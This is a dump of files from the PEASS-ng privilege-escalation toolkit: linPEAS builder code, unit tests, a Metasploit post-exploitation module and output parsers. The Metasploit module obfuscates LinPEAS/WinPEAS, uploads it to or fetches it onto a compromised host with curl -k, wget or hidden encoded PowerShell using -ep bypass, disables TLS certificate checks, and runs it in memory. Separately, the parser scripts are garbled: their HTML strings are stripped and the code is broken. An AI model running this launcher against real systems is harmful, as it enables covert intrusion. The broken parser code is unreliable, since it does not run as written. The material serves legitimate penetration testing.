PEASRecord: def __init__(self, name, auto_check: bool, exec: list, filerecords: list): self.name = name self.bash_name = name.upper().replace(" ","_").replace("-","_") self.auto_check = auto_check self.exec = exec self.filerecords = filerecords ================================================ FILE: linPEAS/builder/src/yamlGlobals.py ================================================ import os import yaml from pathlib import Path script_folder = Path(os.path.dirname(os.path.abspath(__file__))) target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py' os.system(target_file) CURRENT_DIR = os.path.dirname(os.path.realpath(__file__)) LINPEAS_BASE_PARTS = CURRENT_DIR + "/../linpeas_parts" LINPEAS_PARTS = { "functions": LINPEAS_BASE_PARTS + "/functions", "variables": LINPEAS_BASE_PARTS + "/variables", "base": LINPEAS_BASE_PARTS + "/linpeas_base", "modules": [ { "name": "System Information", "name_check": "system_information", "folder_path": LINPEAS_BASE_PARTS + "/1_system_information" }, { "name": "Container", "name_check": "container", "folder_path": LINPEAS_BASE_PARTS + "/2_container" }, { "name": "Cloud", "name_check": "cloud", "folder_path": LINPEAS_BASE_PARTS + "/3_cloud" }, { "name": "Processes, Crons, Timers, Services and Sockets", "name_check": "procs_crons_timers_srvcs_sockets", "folder_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets" }, { "name": "Network Information", "name_check": "network_information", "folder_path": LINPEAS_BASE_PARTS + "/5_network_information" }, { "name": "Users Information", "name_check": "users_information", "folder_path": LINPEAS_BASE_PARTS + "/6_users_information" }, { "name": "Software Information", "name_check": "software_information", "folder_path": LINPEAS_BASE_PARTS + "/7_software_information" }, { "name": "Files with Interesting Permissions", "name_check": "interesting_perms_files", "folder_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files" }, { "name": "Other Interesting Files", "name_check": "interesting_files", "folder_path": LINPEAS_BASE_PARTS + "/9_interesting_files" }, { "name": "API Keys Regex", "name_check": "api_keys_regex", "folder_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex" } ] } LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh" TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base_tmp.sh" FINAL_FAT_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas_fat.sh" FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh" YAML_NAME = "sensitive_files.yaml" YAML_REGEXES = "regexes.yaml" FILES_YAML = CURRENT_DIR + "/../../../build_lists/" + YAML_NAME REGEXES_YAML = CURRENT_DIR + "/../../../build_lists/" + YAML_REGEXES with open(FILES_YAML, 'r') as file: YAML_LOADED = yaml.load(file, Loader=yaml.FullLoader) with open(REGEXES_YAML, 'r') as file: REGEXES_LOADED = yaml.load(file, Loader=yaml.FullLoader) ROOT_FOLDER = YAML_LOADED["root_folders"] DEFAULTS = YAML_LOADED["defaults"] COMMON_FILE_FOLDERS = YAML_LOADED["common_file_folders"] COMMON_DIR_FOLDERS = YAML_LOADED["common_directory_folders"] assert all(f in ROOT_FOLDER for f in COMMON_FILE_FOLDERS) assert all(f in ROOT_FOLDER for f in COMMON_DIR_FOLDERS) PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"] PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"] PEAS_FINDS_CUSTOM_MARKUP = YAML_LOADED["peas_finds_custom_markup"] FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"] FIND_TEMPLATE = YAML_LOADED["find_template"] REGEXES_MARKUP = YAML_LOADED["peas_regexes_markup"] PEAS_STORAGES_MARKUP = YAML_LOADED["peas_storages_markup"] STORAGE_LINE_MARKUP = YAML_LOADED["storage_line_markup"] STORAGE_LINE_EXTRA_MARKUP = YAML_LOADED["storage_line_extra_markup"] STORAGE_TEMPLATE = YAML_LOADED["storage_template"] PEAS_VARIABLES_MARKUP = YAML_LOADED["variables_markup"] YAML_VARIABLES = YAML_LOADED["variables"] INT_HIDDEN_FILES_MARKUP = YAML_LOADED["int_hidden_files_markup"] EXTRASECTIONS_MARKUP = YAML_LOADED["peas_extrasections_markup"] SUIDVB1_MARKUP = YAML_LOADED["suidVB1_markup"] SUIDVB2_MARKUP = YAML_LOADED["suidVB2_markup"] SUDOVB1_MARKUP = YAML_LOADED["sudoVB1_markup"] SUDOVB2_MARKUP = YAML_LOADED["sudoVB2_markup"] CAP_SETUID_MARKUP = YAML_LOADED["cap_setuid_markup"] CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"] ================================================ FILE: linPEAS/tests/test_builder.py ================================================ import os import re import stat import subprocess import tempfile import unittest from pathlib import Path class LinpeasBuilderTests(unittest.TestCase): def setUp(self): self.repo_root = Path(__file__).resolve().parents[2] self.linpeas_dir = self.repo_root / "linPEAS" def _run_builder(self, args, output_path): cmd = ["python3", "-m", "builder.linpeas_builder"] + args + ["--output", str(output_path)] result = subprocess.run(cmd, cwd=str(self.linpeas_dir), capture_output=True, text=True) if result.returncode != 0: raise AssertionError( f"linpeas_builder failed:\nstdout:\n{result.stdout}\nstderr:\n{result.stderr}" ) def test_small_build_creates_executable(self): with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas_small.sh" self._run_builder(["--small"], output_path) self.assertTrue(output_path.exists(), "linpeas_small.sh was not created.") mode = output_path.stat().st_mode self.assertTrue(mode & stat.S_IXUSR, "linpeas_small.sh is not executable.") def test_include_exclude_modules(self): with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas_include.sh" self._run_builder(["--include", "system_information,container", "--exclude", "container"], output_path) content = output_path.read_text(encoding="utf-8", errors="ignore") self.assertIn("Operative system", content) self.assertNotIn("Am I Containered?", content) def test_threads_flag_present_in_getopts(self): """Regression: -z must appear in the getopts string so it is actually parsed.""" with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas.sh" self._run_builder(["--all-no-fat"], output_path) content = output_path.read_text(encoding="utf-8", errors="ignore") # Match the actual option-parsing line: 'while getopts' followed by # either a single or double quoted option string, to avoid matching # comments or help text that happen to contain 'getopts'. getopts_line = next( (l for l in content.splitlines() if re.match(r'\s*while\s+getopts\s+[\'"]', l)), None ) self.assertIsNotNone(getopts_line, "'while getopts' line not found in built script.") self.assertIn("z:", getopts_line, "-z: option is missing from the getopts string in the built script.") def test_threads_flag_present_in_help_text(self): """Regression: -z must be documented in the help text of the built script.""" with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas.sh" self._run_builder(["--all-no-fat"], output_path) content = output_path.read_text(encoding="utf-8", errors="ignore") self.assertIn("-z ", content, "-z help entry is missing from the built script.") def test_mitre_flag_present_in_getopts(self): """The -T flag must appear in the getopts string so it is actually parsed.""" with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas.sh" self._run_builder(["--all-no-fat"], output_path) content = output_path.read_text(encoding="utf-8", errors="ignore") getopts_line = next( (l for l in content.splitlines() if re.match(r'\s*while\s+getopts\s+[\'"]', l)), None ) self.assertIsNotNone(getopts_line, "'while getopts' line not found in built script.") self.assertIn("T:", getopts_line, "-T: option is missing from the getopts string in the built script.") def test_mitre_flag_present_in_help_text(self): """The -T flag must be documented in the help text of the built script.""" with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas.sh" self._run_builder(["--all-no-fat"], output_path) content = output_path.read_text(encoding="utf-8", errors="ignore") self.assertIn("-T", content, "-T help entry is missing from the built script.") def test_mitre_filter_function_present(self): """check_mitre_filter() must be emitted into the built script.""" with tempfile.TemporaryDirectory() as tmpdir: output_path = Path(tmpdir) / "linpeas.sh" self._run_builder(["--all-no-fat"], output_path) content = output_path.read_text(encoding="utf-8", errors="ignore") self.assertIn("check_mitre_filter", content, "check_mitre_filter function is missing from the built script.") def _run_base_mitre_filter(self, mitre_filter, check_ids): base_file = self.linpeas_dir / "builder" / "linpeas_parts" / "linpeas_base" / "0_variables_base.sh" result = subprocess.run( [ "bash", "-lc", ( f'source "{base_file}" >/dev/null 2>&1 || true; ' f'MITRE_FILTER="{mitre_filter}"; ' f'check_mitre_filter "{check_ids}"; ' 'echo $?' ), ], capture_output=True, text=True, cwd=str(self.repo_root), ) self.assertEqual(result.returncode, 0, result.stderr) return result.stdout.strip().splitlines()[-1] def test_mitre_parent_filter_matches_subtechnique(self): """Regression: filtering by a base technique must include child sub-techniques.""" exit_code = self._run_base_mitre_filter("T1552", "T1552.001") self.assertEqual("0", exit_code, "Parent MITRE filter T1552 should match sub-technique T1552.001.") def test_mitre_subtechnique_filter_does_not_match_parent(self): """Regression: filtering by a sub-technique must not include a parent-only tag.""" exit_code = self._run_base_mitre_filter("T1552.001", "T1552") self.assertEqual("1", exit_code, "Sub-technique MITRE filter T1552.001 should not match parent tag T1552.") if __name__ == "__main__": unittest.main() ================================================ FILE: linPEAS/tests/test_modules_metadata.py ================================================ import re import sys import unittest from pathlib import Path class LinpeasModulesMetadataTests(unittest.TestCase): @classmethod def setUpClass(cls): cls.repo_root = Path(__file__).resolve().parents[2] cls.linpeas_dir = cls.repo_root / "linPEAS" cls.parts_dir = cls.linpeas_dir / "builder" / "linpeas_parts" # Ensure `import builder.*` works when tests are run from repo root. sys.path.insert(0, str(cls.linpeas_dir)) from builder.src.linpeasModule import LinpeasModule # pylint: disable=import-error cls.LinpeasModule = LinpeasModule def _iter_module_files(self): return sorted(self.parts_dir.rglob("*.sh")) def test_all_modules_parse(self): module_files = self._iter_module_files() self.assertGreater(len(module_files), 0, "No linPEAS module files were found.") # Parsing a module validates its metadata and dependencies. for path in module_files: _ = self.LinpeasModule(str(path)) def test_check_module_id_matches_filename(self): for path in self._iter_module_files(): module = self.LinpeasModule(str(path)) if not getattr(module, "is_check", False): continue # For checks, the filename (without numeric prefix) must match the module ID # (either full ID or stripping section prefix like `SI_`). file_base = re.sub(r"^[0-9]+_", "", path.stem) module_id = getattr(module, "id", "") module_id_tail = module_id[3:] if len(module_id) >= 3 else "" self.assertIn( file_base, {module_id, module_id_tail}, f"Module ID mismatch in {path}: id={module_id} expected suffix={file_base}", ) def test_module_ids_are_unique(self): ids = [] for path in self._iter_module_files(): module = self.LinpeasModule(str(path)) ids.append(getattr(module, "id", "")) duplicates = {x for x in ids if x and ids.count(x) > 1} self.assertEqual(set(), duplicates, f"Duplicate module IDs found: {sorted(duplicates)}") if __name__ == "__main__": unittest.main() ================================================ FILE: metasploit/README.md ================================================ # PEASS Post Exploitation Module for Metasploit You can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**. ## Manual Installation Copy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation. In Kali: ```bash sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/ # or sudo wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb ``` Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**. ## How to use it ``` msf6 exploit(multi/handler) > use post/multi/gather/peass msf6 post(multi/gather/peass) > show info Name: Multi PEASS launcher Module: post/multi/gather/peass Platform: BSD, Linux, OSX, Unix, Windows Arch: Rank: Normal Provided by: Carlos Polop <@hacktricks_live> Compatible session types: Meterpreter Shell Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PARAMETERS no Parameters to pass to the script PASSWORD um1xipfws17nkw1bi1ma3bh7tzt4mo3e no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used WINPEASS true yes Use PEASS for Windows or PEASS for linux. Default is windows change to false for linux. CUSTOM_URL no Path to the PEASS script. Accepted: http(s):// URL or absolute local path. SESSION yes The session to run this module on. SRVHOST no Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it. SRVPORT 443 no Port to download the PEASS script from using http(s) (only used if SRVHOST) SSL true no Indicate if you want to communicate with https (only used if SRVHOST) SSLCert no Path to a custom SSL certificate (default is randomly generated) TEMP_DIR no Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix. TIMEOUT 900 no Timeout of the execution of the PEASS script (15min by default) URIPATH /mvpo.txt no URI path to download the script from there (only used if SRVHOST) Description: This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system. You need to indicate the URL or local path to LinPEAS if you are in some Unix or to WinPEAS if you are in Windows. By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load it and execute it. You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it. References: https://github.com/peass-ng/PEASS-ng https://www.youtube.com/watch?v=9_fJv_weLU0 ``` The options are pretty self-explanatory. Notice that **by default** the obfuscated PEASS script if going to be **uploaded** but if you **set SRVHOST it will be downloaded** via http(s) from the metasploit instance (**so nothing will be written in the disk of the compromised host**). Notice that you can **set parametes** like `-h` in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*). **IMPORTANT**: You won't see any output until the execution of the script is completed. ================================================ FILE: metasploit/peass.rb ================================================ # Copyright (c) 2025, PEASS-ng owners # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of PEASS-ng owners nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' require 'net/http' require 'base64' require 'openssl' require 'tempfile' class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info={}) super( update_info(info, 'Name' => 'Multi PEASS launcher', 'Description' => %q{ This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system. You need to indicate the URL or local path to LinPEAS if you are on any Unix-based system or to WinPEAS if you are on Windows. By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load, deobfuscate, and execute it. You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Polop <@hacktricks_live>' ], 'Platform' => %w{ bsd linux osx unix win }, 'SessionTypes' => ['shell', 'meterpreter'], 'References' => [ ['URL', 'https://github.com/peass-ng/PEASS-ng'], ['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'], ] )) register_options( [ OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]), OptString.new('CUSTOM_URL', [false, 'URL to download the PEASS script from (if not using the default one). Accepts http(s) or absolute path. Overrides the WINPEASS variable', '']), OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]), OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']), OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]), OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15*60]), OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']), OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]), OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]), OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', "/" + rand(36**4).to_s(36) + ".txt"]) ]) @temp_file_path = "" end def run ps_var1 = rand(36**5).to_s(36) # Winpeas PS needed variable # Load PEASS script in memory peass_script = load_peass() print_good("PEASS script successfully retrieved.") # Obfuscate loaded PEASS script if datastore["PASSWORD"].length > 1 # If no Windows, check if openssl exists if !session.platform.include?("win") openssl_path = cmd_exec("command -v openssl") raise 'openssl not found on victim, unset the password of the module!' unless openssl_path.include?("openssl") end # Get encrypted PEASS script in B64 print_status("Encrypting PEASS and encoding it in Base64...") # Needed code to decrypt from unix if !session.platform.include?("win") aes_enc_peass_ret = aes_enc_peass(peass_script) peass_script_64 = aes_enc_peass_ret["encrypted"] key_hex = aes_enc_peass_ret["key_hex"] iv_hex = aes_enc_peass_ret["iv_hex"] decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}" # Needed code to decrypt from Windows else # As the PS function is only capable of decrypting readable strings # in Windows we encrypt the B64 of the binary and then load it in memory # from the initial B64. Then: original -> B64 -> encrypt -> B64 aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) # Base64 before encrypting it peass_script_64 = aes_enc_peass_ret["encrypted"] key_b64 = aes_enc_peass_ret["key_b64"] iv_b64 = aes_enc_peass_ret["iv_b64"] load_winpeas = get_ps_aes_decr() ps_var2 = rand(36**6).to_s(36) load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};" load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));" end else # If no Windows, check if base64 exists if !session.platform.include?("win") base64_path = cmd_exec("command -v base64") raise 'base64 not found on victim, set a 32B length password!' unless base64_path.include?("base64") end # Encode PEASS script print_status("Encoding PEASS in Base64...") peass_script_64 = Base64.encode64(peass_script) # Needed code to decode it in Unix and Windows decode_linpeass_cmd = "base64 -d" load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));" end # Write obfuscated PEASS to a local file file = Tempfile.new('peass_metasploit') file.write(peass_script_64) file.rewind @temp_file_path = file.path if datastore["SRVHOST"] == "" # Upload file to victim temp_peass_name = rand(36**5).to_s(36) if datastore["TEMP_DIR"] != "" temp_path = datastore["TEMP_DIR"] if temp_path[0] == "/" temp_path = temp_path + "/#{temp_peass_name}" else temp_path = temp_path + "\\#{temp_peass_name}" end elsif session.platform.include?("win") temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}" else temp_path = "/tmp/#{temp_peass_name}" end print_status("Uploading obfuscated peass to #{temp_path}...") upload_file(temp_path, file.path) print_good("Uploaded") # Start the cmd, prepare to read from the uploaded file if session.platform.include?("win") cmd = "$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Get-Content -Path #{temp_path};" last_cmd = "del #{temp_path};" else cmd = "cat #{temp_path}" last_cmd = " ; rm #{temp_path}" end # Instead of writing the file to disk, download it from HTTP else last_cmd = "" # Start HTTP server start_service() http_protocol = datastore["SSL"] ? "https://" : "http://" http_ip = datastore["SRVHOST"] http_port = ":#{datastore['SRVPORT']}" http_path = datastore["URIPATH"] url_download_peass = http_protocol + http_ip + http_port + http_path print_good("Listening in #{url_download_peass}") # Configure the download of the script in Windows if session.platform.include?("win") cmd = "$ProgressPreference = 'SilentlyContinue';" cmd += get_bypass_tls_cert() cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;" # Configure the download of the script in Unix else cmd = "curl -k -s \"#{url_download_peass}\"" curl_path = cmd_exec("command -v curl") if ! curl_path.include?("curl") cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\"" wget_path = cmd_exec("command -v wget") raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?("wget") end end end # Run PEASS script begin tmpout = "\n" print_status "Running PEASS..." # If Windows, suppose Winpeas was loaded if session.platform.include?("win") cmd += load_winpeas cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");" cmd += last_cmd # Transform to Base64 in UTF-16LE format cmd_utf16le = cmd.encode("utf-16le") cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "") tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i) # If Unix, then, suppose linpeas was loaded else cmd += "| #{decode_linpeass_cmd}" cmd += "| sh -s -- #{datastore['PARAMETERS']}" cmd += last_cmd tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i) end print "\n#{tmpout}\n\n" command_log = store_loot("PEASS", "text/plain", session, tmpout, "peass.txt", "PEASS script execution") print_good("PEASS output saved to: #{command_log}") rescue ::Exception => e print_bad("Error Running PEASS: #{e.class} #{e}") end # Close and delete the temporary file file.close file.unlink end def on_request_uri(cli, request) print_status("HTTP request received") send_response(cli, File.read(@temp_file_path), {'Content-Type'=>'text/plain'}) print_good("PEASS script sent") end def fetch(uri_str, limit = 10) raise 'Invalid URL, too many HTTP redirects' if limit == 0 response = Net::HTTP.get_response(URI(uri_str)) case response when Net::HTTPSuccess then response when Net::HTTPRedirection then location = response['location'] fetch(location, limit - 1) else response.value end end def load_peass # Load the PEASS script from a local file or from Internet peass_script = "" url_peass = "" # If no URL is set, use the default one if datastore['CUSTOM_URL'] != "" url_peass = datastore['CUSTOM_URL'] else url_peass = datastore['WINPEASS'].to_s.strip.downcase == 'true' ? "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" : "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh" end # If URL is set, check if it is a valid URL or local file if url_peass.include?("http://") || url_peass.include?("https://") target = URI.parse url_peass raise 'Invalid URL' unless target.scheme =~ /https?/ raise 'Invalid URL' if target.host.to_s.eql? '' res = fetch(target) peass_script = res.body raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500 else raise "PEASS local file (#{url_peass}) does not exist!" unless ::File.exist?(url_peass) peass_script = File.read(url_peass) raise "Something falied reading PEASS script from #{url_peass}" if peass_script.length < 500 end return peass_script end def aes_enc_peass(peass_script) # Encrypt the PEASS script with AES (CBC Mode) key = datastore["PASSWORD"] iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv c = OpenSSL::Cipher.new('aes-256-cbc').encrypt c.iv = iv c.key = key encrypted = c.update(peass_script) + c.final encrypted = [encrypted].pack('m') return { "encrypted" => encrypted, "key_hex" => key.unpack('H*').first, "key_b64" => Base64.encode64(key).strip, "iv_hex" => iv.unpack('H*').first, "iv_b64" => Base64.encode64(iv).strip } end def get_bypass_tls_cert return' # Code to accept any certificate in the https connection from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) { return true; } } "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy; ' end def get_ps_aes_decr # PS code to decrypt Winpeas return ' # Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86 function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) { [byte[]] $encrypted = [Convert]::FromBase64String($encrypted); [byte[]] $key = [Convert]::FromBase64String($key) [byte[]] $iv = [Convert]::FromBase64String($iv) # Declare the stream used to encrypt to an in memory # array of bytes. [System.IO.MemoryStream] $msDecrypt # Declare the RijndaelManaged object # used to encrypt the data. [System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged [String] $plainText="" try { # Create a RijndaelManaged object # with the specified key and IV. $aesAlg = new-object System.Security.Cryptography.RijndaelManaged $aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC $aesAlg.KeySize = 256 $aesAlg.BlockSize = 128 $aesAlg.key = $key $aesAlg.IV = $iv # Create an encryptor to perform the stream transform. [System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV); # Create the streams used for encryption. $msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted) $csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read) $srDecrypt = new-object System.IO.StreamReader($csDecrypt) # Write all data to the stream. $plainText = $srDecrypt.ReadToEnd() $srDecrypt.Close() $csDecrypt.Close() $msDecrypt.Close() } finally { # Clear the RijndaelManaged object. if ($aesAlg -ne $null){ $aesAlg.Clear() } } # Return the Decrypted bytes from the memory stream. return $plainText } ' end end ================================================ FILE: parsers/README.md ================================================ # Privilege Escalation Awesome Scripts Parsers These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML. ```python3 python3 peas2json.py python3 json2pdf.py python3 json2html.py ``` ## JSON Format Basically, **each section has**: - Infos (URLs or info about the section) - Text lines (the real text info found in the section, colors included) - More sections There is a **maximun of 3 levels of sections**. ```json { "
": { "sections": { "": { "sections": {}, "lines": [ { "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself", "clean_text": "[+] is available for network discover & port scanning, you should use it yourself", "colors": { "GREEN": [ "nmap" ], "YELLOW": [ "[+]" ] } } ], "infos": [ "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits" ] }, "infos": [] ``` ```json { "System Information": { "sections": { "Operative system": { "sections": {}, "lines": [ { "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself", "clean_text": "[+] is available for network discover & port scanning, you should use it yourself", "colors": { "GREEN": [ "nmap" ], "YELLOW": [ "[+]" ] } } ], "infos": [ "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits" ] }, "infos": [] ``` There can also be a `` If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS # TODO: - **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!** ================================================ FILE: parsers/__init__.py ================================================ ================================================ FILE: parsers/json2html.ps1 ================================================ # Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/json2html.py # TODO: create the script function parse_dict { param ( [System.Object] $json_dict ) # Parse the given dict from the given json adding it to the HTML file $dict_text = "" foreach($obj in $json_dict.psobject.properties){ $key = $obj.Name $value = $obj.Value $n = Get-Random -Minimum 1 -Maximum 999999 $infos = [System.Collections.ArrayList]@() foreach($info in $value."infos"){ if(([string]$info).StartsWith('http')){ $infos.Add("$info
`n") } else{ $infos.Add([string]$info + "
`n") } } $dict_text += "`t`t
`n" $dict_text += "" + ($infos -join "") + "" $dict_text += "
`n" if($value."lines"){ $dict_text += $("`n" + (parse_list $value."lines") + "`n") } if($value."sections"){ $dict_text += (parse_dict $value."sections") } } return $dict_text } function parse_list { param ( [System.Object] $json_list ) # Parse the given list from the given json adding it to the HTML file $color_text="" $color_class="" $special_char = [String][char]0x2550 $special_char_2 = [String][char]0x2563 foreach($i in $json_list){ if(-not $i."clean_text".Contains($special_char*3)){ if($i."clean_text"){ $color_text += "
" + $replacement + "") if($text.Contains($special_char_2)){ $text = $text.Replace($special_char_2, "
  • ") $text += "
  • " } } $color_text += "" + $color_class + " " } $color_text += "no_color`" >" + $text + "
    `n" } } } return $color_text + "`t`t`t
    `n" } function parse_json { param ( $json_data ) $body = "" $i = 1 foreach($obj in $json_data.psobject.properties){ $key = $obj.Name $value = $obj.Value $body += " `t`t
    `n
    `n" $i += 1 foreach($obj_2 in $value.psobject.properties) { $key1 = $obj_2.Name $value1 = $obj_2.Value if($value1.GetType().BaseType -eq [System.Object]){ $body += parse_dict $value1 } } $body += "`t`t`t
    `n" } return $body } $HTML_HEADER = @" "@ $HTML_END = @" "@ $HTML_INIT_BODY = @"

    "@ $body = @"

    "@ function main { $json_data = Get-Content $JSON_PATH -Raw | ConvertFrom-Json $html = $HTML_HEADER $html += $HTML_INIT_BODY $html += parse_json $json_data $html += $HTML_END $html | Out-File $HTML_PATH } try { $JSON_PATH = $(Read-Host "JSON Path") $HTML_PATH = $(Read-Host "HTML Path") } catch { Write-Host "Error: Please pass the peas.out file and the path to save the html" exit } main ================================================ FILE: parsers/json2html.py ================================================ import json import sys import random def parse_json(json_data : object) -> str: """Parse the given json adding it to the HTML file""" body = "" i=1 for key, value in json_data.items(): body += """\t\t
    \n
    \n""" i=i+1 for key1, value1 in value.items(): if(type(value1)==list): body+=parse_list(value1) if((type(value1)==dict)): body+=parse_dict(value1) body+="\t\t\t
